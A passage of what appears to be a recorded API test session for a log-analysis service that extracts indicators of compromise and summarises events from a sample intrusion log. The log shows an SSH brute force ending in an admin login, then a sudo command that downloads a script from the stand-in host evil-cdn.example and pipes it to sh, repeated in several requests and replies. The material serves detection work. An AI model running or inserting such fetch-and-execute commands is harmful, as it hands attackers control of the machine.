        "raw": "2026-10-19T10:00:15Z sudo: admin : COMMAND=/usr/bin/curl http://evil-cdn.example/x.sh | sh",
        "message": "sudo: admin : COMMAND=/usr/bin/curl http://evil-cdn.example/x.sh | sh",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404015.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:01:00Z nginx: 10.0.0.7 GET /health 200",
        "message": "nginx: 10.0.0.7 GET /health 200",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404060.0,
        "format": "plain"
       }
      ]
     }
    },
    {
     "call": "POST /extract-iocs",
     "request": {
      "events": [
       {
        "raw": "2026-10-19T10:00:01Z sshd[811]: Failed password for root from 185.220.101.4 port 51122 ssh2",
        "message": "sshd[811]: Failed password for root from 185.220.101.4 port 51122 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404001.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:02Z sshd[811]: Failed password for root from 185.220.101.4 port 51130 ssh2",
        "message": "sshd[811]: Failed password for root from 185.220.101.4 port 51130 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404002.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:03Z sshd[811]: Failed password for root from 185.220.101.4 port 51144 ssh2",
        "message": "sshd[811]: Failed password for root from 185.220.101.4 port 51144 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404003.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:04Z sshd[811]: Failed password for admin from 185.220.101.4 port 51150 ssh2",
        "message": "sshd[811]: Failed password for admin from 185.220.101.4 port 51150 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404004.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:09Z sshd[811]: Accepted password for admin from 185.220.101.4 port 51188 ssh2",
        "message": "sshd[811]: Accepted password for admin from 185.220.101.4 port 51188 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404009.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:15Z sudo: admin : COMMAND=/usr/bin/curl http://evil-cdn.example/x.sh | sh",
        "message": "sudo: admin : COMMAND=/usr/bin/curl http://evil-cdn.example/x.sh | sh",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404015.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:01:00Z nginx: 10.0.0.7 GET /health 200",
        "message": "nginx: 10.0.0.7 GET /health 200",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404060.0,
        "format": "plain"
       }
      ]
     },
     "status": 200,
     "ms": 12,
     "reply": {
      "ips": [
       {
        "value": "185.220.101.4",
        "count": 5,
        "sources": [
         "unknown"
        ]
       }
      ],
      "domains": [
       {
        "value": "evil-cdn.example",
        "count": 1,
        "sources": [
         "unknown"
        ]
       }
      ],
      "urls": [
       {
        "value": "http://evil-cdn.example/x.sh",
        "count": 1,
        "sources": [
         "unknown"
        ]
       }
      ],
      "commands": [
       "/usr/bin/curl http://evil-cdn.example/x.sh | sh"
      ],
      "usernames": [],
      "suspicious_indicators": [
       {
        "type": "ip",
        "value": "185.220.101.4",
        "reason": "Known TOR exit node prefix"
       }
      ]
     }
    },
    {
     "call": "POST /summarize",
     "request": {
      "events": [
       {
        "raw": "2026-10-19T10:00:01Z sshd[811]: Failed password for root from 185.220.101.4 port 51122 ssh2",
        "message": "sshd[811]: Failed password for root from 185.220.101.4 port 51122 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404001.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:02Z sshd[811]: Failed password for root from 185.220.101.4 port 51130 ssh2",
        "message": "sshd[811]: Failed password for root from 185.220.101.4 port 51130 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404002.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:03Z sshd[811]: Failed password for root from 185.220.101.4 port 51144 ssh2",
        "message": "sshd[811]: Failed password for root from 185.220.101.4 port 51144 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404003.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:04Z sshd[811]: Failed password for admin from 185.220.101.4 port 51150 ssh2",
        "message": "sshd[811]: Failed password for admin from 185.220.101.4 port 51150 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404004.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:09Z sshd[811]: Accepted password for admin from 185.220.101.4 port 51188 ssh2",
        "message": "sshd[811]: Accepted password for admin from 185.220.101.4 port 51188 ssh2",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404009.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:00:15Z sudo: admin : COMMAND=/usr/bin/curl http://evil-cdn.example/x.sh | sh",
        "message": "sudo: admin : COMMAND=/usr/bin/curl http://evil-cdn.example/x.sh | sh",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404015.0,
        "format": "plain"
       },
       {
        "raw": "2026-10-19T10:01:00Z nginx: 10.0.0.7 GET /health 200",
        "message": "nginx: 10.0.0.7 GET /health 200",
        "source": "unknown",
        "severity": "INFO",
        "timestamp": 1792404060.0,
        "format": "plain"
       }
      ]
     },
     "status": 200,
     "ms": 9,
     "reply": {
      "event_count": 7,
      "time_range": {
       "start": 1792404001.0,
       "end": 1792404060.0,
       "duration_seconds": 59.0
      },
      "top_sources": {
       "unknown": 7
      },
      "severity_distribution": {
       "INFO": 7
      },
      "error_rate": 0.0,
      "most_frequent_patterns": [
       {
        "pattern": "sshd[<NUM>]: Failed password for root from <IP> port <NUM> ssh2",
        "count": 3,
        "percentage": 42.86
       },
       {
        "pattern": "sshd[<NUM>]: Failed password for admin from <IP> port <NUM> ssh2",
        "count": 1,
        "percentage": 14.29
       },
       {
        "pattern": "sshd[<NUM>]: Accepted password for admin from <IP> port <NUM> ssh2",
        "count": 1,
        "percentage": 14.29
       },
       {
        "pattern": "sudo: admin : COMMAND=<PATH> http:<PATH> | sh",
        "count": 1,
        "percentage": 14.29
       },
       {
        "pattern": "nginx: <IP> GET <PATH> <NUM>",
        "count": 1,
        "percentage": 14.29
       }
      ],
      "timeline": [
       {
        "hour": 1792404000,
        "count": 7
       }
      ]
     }
    }
   ],
   "note": "Real calls to the running service with the public demo identity; replies are unedited."
  }
 }
]